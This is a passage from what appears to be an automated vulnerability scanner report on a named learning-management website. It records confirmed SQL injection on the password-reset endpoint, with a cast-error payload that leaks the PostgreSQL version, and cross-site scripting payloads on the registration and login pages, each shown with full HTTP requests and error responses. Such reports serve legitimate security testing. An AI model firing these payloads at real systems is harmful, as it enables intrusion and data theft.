java.lang.Thread.run(Thread.java:619)
</td>
</tr>
<tr><td>--------------------</td></tr>
<tr>
<td>java.lang.NullPointerException at org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:129) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:630) at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:436) at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:374) at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:302) at com.user.KeyRegister.sendErrorRedirect(KeyRegister.java:135) at com.user.KeyRegister.doPost(KeyRegister.java:101) at javax.servlet.http.HttpServlet.service(HttpServlet.java:710) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
</table>

<p>
<hr width=100%>
</body>
</html>
- /sendpassword

/sendpassword CONFIRMED

http://learn.bridgefront.com/sendpassword?button1=Get+Password&button2=Get+User+Name&forgetbrand=nul..

Parameters

Parameter Type Value
button1 GET Get Password
button2 GET Get User Name
forgetbrand GET null
forwardpage GET login.jsp
replace0_ul_ GET '||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'
replace1_ul_ GET 3
totalvalues GET 3

Extracted Data

postgresql 9.0.4 on x86_64-unknown-linux-gnu, compiled by gcc gcc (gcc) 4.1.2 20080704 (red hat 4.1.2-48), 64-bit

Request

GET /sendpassword?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_='%7C%7Ccast((select%20chr(95)%7C%7Cchr(33)%7C%7Cchr(64)%7C%7Cchr(53)%7C%7Cchr(100)%7C%7Cchr(105)%7C%7Cchr(108)%7C%7Cchr(101)%7C%7Cchr(109)%7C%7Cchr(109)%7C%7Cchr(97))%20as%20numeric)%7C%7C'&replace1_ul_=3&totalvalues=3 HTTP/1.1
Referer: http://learn.bridgefront.com/forgetpassword.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: learn.bridgefront.com
Cookie: JSESSIONID=208221C98B07F88CDA0AA64095CED35F
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Date: Tue, 26 Apr 2011 01:19:17 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 6959
Connection: close
Content-Type: text/html; charset=UTF-8



<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

function showdiv2(param)
{
if(param=="show")
{
document.all.div1.style.visibility="visible";
// document.errorform.r2.value="specific";
}
else
{
document.all.div1.style.visibility="hidden";
// document.errorform.r2.value="all";
}
}

</script>

</head>
<body bgcolor="#FFFFFF">

<font face="Helvetica">

<h2><font color=#DB1260>Ooooops... An Error Occured.</font></h2>

<pre>
<b>
SERVER NAME: learn.bridgefront.comSERVER PORT: 80REMOTE HOST: 173.193.214.243EXCEPTION: java.lang.NullPointerExceptionJSP REQUESTED: /errorpage.jsp?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_='%7C%7Ccast((select%20chr(95)%7C%7Cchr(33)%7C%7Cchr(64)%7C%7Cchr(53)%7C%7Cchr(100)%7C%7Cchr(105)%7C%7Cchr(108)%7C%7Cchr(101)%7C%7Cchr(109)%7C%7Cchr(109)%7C%7Cchr(97))%20as%20numeric)%7C%7C'&replace1_ul_=3&totalvalues=3
<table border="0">

<tr>
<td>
<input type="radio" checked value="hide" name="R2" onClick="showdiv2('hide')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial" >Hide Details</font><br>
</td>
<td>
<input type="radio" value="show" name="R2" onClick="showdiv2('show')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial">Show Details</font><br>
</td>
</tr>
</table>
<hr width=100%>
<DIV ID="div1" STYLE="visibility:hidden">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2">
<tr>
<td>
org.postgresql.util.PSQLException: ERROR: invalid input syntax for type numeric: "_!@5dilemma" at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:1592) at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1327) at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:192) at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:451) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:336) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeQuery(AbstractJdbc2Statement.java:235) at org.apache.tomcat.dbcp.dbcp.DelegatingStatement.executeQuery(DelegatingStatement.java:208) at com.general.SendPassword.doGet(SendPassword.java:54) at javax.servlet.http.HttpServlet.service(HttpServlet.java:690) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
<tr><td>--------------------</td></tr>
<tr>
<td>java.lang.NullPointerException at org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:129) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:630) at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:436) at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:374) at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:302) at com.general.SendPassword.sendErrorRedirect(SendPassword.java:141) at com.general.SendPassword.doGet(SendPassword.java:115) at javax.servlet.http.HttpServlet.service(HttpServlet.java:690) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
</table>

<p>
<hr width=100%>
</body>
</html>
- /sendpassword

/sendpassword CONFIRMED

http://learn.bridgefront.com/sendpassword?totalvalues=3&forgetbrand=null&forwardpage=login.jsp&repla..

Parameters

Parameter Type Value
totalvalues GET 3
forgetbrand GET null
forwardpage GET login.jsp
replace0_ul_ GET '||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'
replace1_ul_ GET 3

Extracted Data

postgresql 9.0.4 on x86_64-unknown-linux-gnu, compiled by gcc gcc (gcc) 4.1.2 20080704 (red hat 4.1.2-48), 64-bit

Request

GET /sendpassword?totalvalues=3&forgetbrand=null&forwardpage=login.jsp&replace0_ul_='%7C%7Ccast((select%20chr(95)%7C%7Cchr(33)%7C%7Cchr(64)%7C%7Cchr(53)%7C%7Cchr(100)%7C%7Cchr(105)%7C%7Cchr(108)%7C%7Cchr(101)%7C%7Cchr(109)%7C%7Cchr(109)%7C%7Cchr(97))%20as%20numeric)%7C%7C'&replace1_ul_=3 HTTP/1.1
Referer: http://learn.bridgefront.com/forgetpassword.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: learn.bridgefront.com
Cookie: JSESSIONID=1B3FB576C860FF50C5478C31E0BD27CE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Date: Tue, 26 Apr 2011 01:20:13 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 6916
Connection: close
Content-Type: text/html; charset=UTF-8



<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

function showdiv2(param)
{
if(param=="show")
{
document.all.div1.style.visibility="visible";
// document.errorform.r2.value="specific";
}
else
{
document.all.div1.style.visibility="hidden";
// document.errorform.r2.value="all";
}
}

</script>

</head>
<body bgcolor="#FFFFFF">

<font face="Helvetica">

<h2><font color=#DB1260>Ooooops... An Error Occured.</font></h2>

<pre>
<b>
SERVER NAME: learn.bridgefront.comSERVER PORT: 80REMOTE HOST: 173.193.214.243EXCEPTION: java.lang.NullPointerExceptionJSP REQUESTED: /errorpage.jsp?totalvalues=3&forgetbrand=null&forwardpage=login.jsp&replace0_ul_='%7C%7Ccast((select%20chr(95)%7C%7Cchr(33)%7C%7Cchr(64)%7C%7Cchr(53)%7C%7Cchr(100)%7C%7Cchr(105)%7C%7Cchr(108)%7C%7Cchr(101)%7C%7Cchr(109)%7C%7Cchr(109)%7C%7Cchr(97))%20as%20numeric)%7C%7C'&replace1_ul_=3
<table border="0">

<tr>
<td>
<input type="radio" checked value="hide" name="R2" onClick="showdiv2('hide')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial" >Hide Details</font><br>
</td>
<td>
<input type="radio" value="show" name="R2" onClick="showdiv2('show')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial">Show Details</font><br>
</td>
</tr>
</table>
<hr width=100%>
<DIV ID="div1" STYLE="visibility:hidden">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2">
<tr>
<td>
org.postgresql.util.PSQLException: ERROR: invalid input syntax for type numeric: "_!@5dilemma" at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:1592) at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1327) at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:192) at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:451) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:336) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeQuery(AbstractJdbc2Statement.java:235) at org.apache.tomcat.dbcp.dbcp.DelegatingStatement.executeQuery(DelegatingStatement.java:208) at com.general.SendPassword.doGet(SendPassword.java:54) at javax.servlet.http.HttpServlet.service(HttpServlet.java:690) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
<tr><td>--------------------</td></tr>
<tr>
<td>java.lang.NullPointerException at org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:129) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:630) at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:436) at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:374) at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:302) at com.general.SendPassword.sendErrorRedirect(SendPassword.java:141) at com.general.SendPassword.doGet(SendPassword.java:115) at javax.servlet.http.HttpServlet.service(HttpServlet.java:690) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
</table>

<p>
<hr width=100%>
</body>
</html>
Cross-site Scripting

Cross-site Scripting
5 TOTAL
IMPORTANT
CONFIRMED
5
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /KeyRegister

/KeyRegister CONFIRMED

http://learn.bridgefront.com/KeyRegister

Parameters

Parameter Type Value
replace2_ul_ POST '"--></style></script><script>alert(0x000110)</script>
submit POST Register

Request

POST /KeyRegister HTTP/1.1
Referer: http://learn.bridgefront.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: learn.bridgefront.com
Cookie: JSESSIONID=8FFB3759A352D98FFEA3A5A0445029C3
Content-Length: 114
Accept-Encoding: gzip, deflate

replace2_ul_='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000110)%3c%2fscript%3e&submit=Register

Response

HTTP/1.1 500 Internal Server Error
Date: Tue, 26 Apr 2011 01:17:55 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 6688
Connection: close
Content-Type: text/html; charset=UTF-8



<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

function showdiv2(param)
{
if(param=="show")
{
document.all.div1.style.visibility="visible";
// document.errorform.r2.value="specific";
}
else
{
document.all.div1.style.visibility="hidden";
// document.errorform.r2.value="all";
}
}

</script>

</head>
<body bgcolor="#FFFFFF">

<font face="Helvetica">

<h2><font color=#DB1260>Ooooops... An Error Occured.</font></h2>

<pre>
<b>
SERVER NAME: learn.bridgefront.comSERVER PORT: 80REMOTE HOST: 173.193.214.243EXCEPTION: java.lang.NullPointerExceptionJSP REQUESTED: /errorpage.jsp?null
<table border="0">

<tr>
<td>
<input type="radio" checked value="hide" name="R2" onClick="showdiv2('hide')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial" >Hide Details</font><br>
</td>
<td>
<input type="radio" value="show" name="R2" onClick="showdiv2('show')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial">Show Details</font><br>
</td>
</tr>
</table>
<hr width=100%>
<DIV ID="div1" STYLE="visibility:hidden">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2">
<tr>
<td>
org.postgresql.util.PSQLException: ERROR: unterminated quoted identifier at or near ""--></style></script><script>netsparker(0x000110)</script>'" at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:1592) at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1327) at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:192) at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:451) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:336) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeQuery(AbstractJdbc2Statement.java:235) at org.apache.tomcat.dbcp.dbcp.DelegatingStatement.executeQuery(DelegatingStatement.java:208) at com.user.KeyRegister.doPost(KeyRegister.java:41) at javax.servlet.http.HttpServlet.service(HttpServlet.java:710) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
<tr><td>--------------------</td></tr>
<tr>
<td>java.lang.NullPointerException at org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:129) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:630) at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:436) at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:374) at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:302) at com.user.KeyRegister.sendErrorRedirect(KeyRegister.java:135) at com.user.KeyRegister.doPost(KeyRegister.java:101) at javax.servlet.http.HttpServlet.service(HttpServlet.java:710) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
</table>

<p>
<hr width=100%>
</body>
</html>
- /login.jsp

/login.jsp CONFIRMED

http://learn.bridgefront.com/login.jsp?reason=loginfailed&uid='%22--%3E%3C/style%3E%3C/script%3E%3Cs..

Parameters

Parameter Type Value
reason GET loginfailed
uid GET '"--></style></script><script>netsparker(0x000153)</script>
replace0_ul_ POST '"--></style></script><script>alert(0x000153)</script>

Request

GET /login.jsp?reason=loginfailed&uid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000153)%3C/script%3E HTTP/1.1
Referer: http://learn.bridgefront.com/logincontroller
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: learn.bridgefront.com
Cookie: JSESSIONID=8FFB3759A352D98FFEA3A5A0445029C3
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:18:27 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <title>BridgeFront | LMS | Login</title><link href="/lscheme/default/css/Learner.css" rel="stylesheet" type="text/css"><script type="text/javascript" src="/js/LearnerSideJsFunctions.js"></script><link rel="shortcut icon" href="favicon.ico"><script>var lmsDown = false; COPYRIGHT = "&copy; BridgeFront, 2002-"; function writeCopyright() { document.write(COPYRIGHT, new Date().getFullYear()); }function submitkeyform(){if (lmsDown){alert("LMS is currently down for routine maintenance on April 24, 2011, until noon PST.");return false;}if (!checkPreRequisites()){ alert("System Checks failed. Action Required on Prerequisites before you can access the LMS."); //return false; //CODE COMMENTED BY RAVIRAJ ON 27-10-2009 return true; //CODE ADDED BY RAVIRAJ ON 27-10-2009} if(document.getElementById("replace2_ul_").value==""){ document.getElementById("spanreplace2_ul_").innerHTML="Key cannot be empty"; return false; }else{ if(isAnyText(document.getElementById("replace2_ul_"),MANDATORY,"Reistration Key")){ return true; } } document.getElementById("replace2_ul_").value=""; return false; }function specialValidation(){if (lmsDown){alert("LMS is currently down for routine maintenance on April 24, 2011, until noon PST.");return false;}if (!checkPreRequisites()){ alert("System Checks failed. Action Required on Prerequisites before you can access the LMS."); //return false; //CODE COMMENTED BY RAVIRAJ ON 27-10-2009 return true; //CODE ADDED BY RAVIRAJ ON 27-10-2009} var val1, val2; var normalValidationFlag = true; val1 = document.getElementById('replace0_ul_').value; val2 = document.getElementById('replace1_ul_').value; if(val1==''){ document.getElementById("spanreplace0_ul_").innerHTML="Username cannot be empty"; normalValidationFlag = false; } if(val2==''){ document.getElementById("spanreplace1_ul_").innerHTML="Password cannot be empty"; normalValidationFlag = false; } return normalValidationFlag;}function 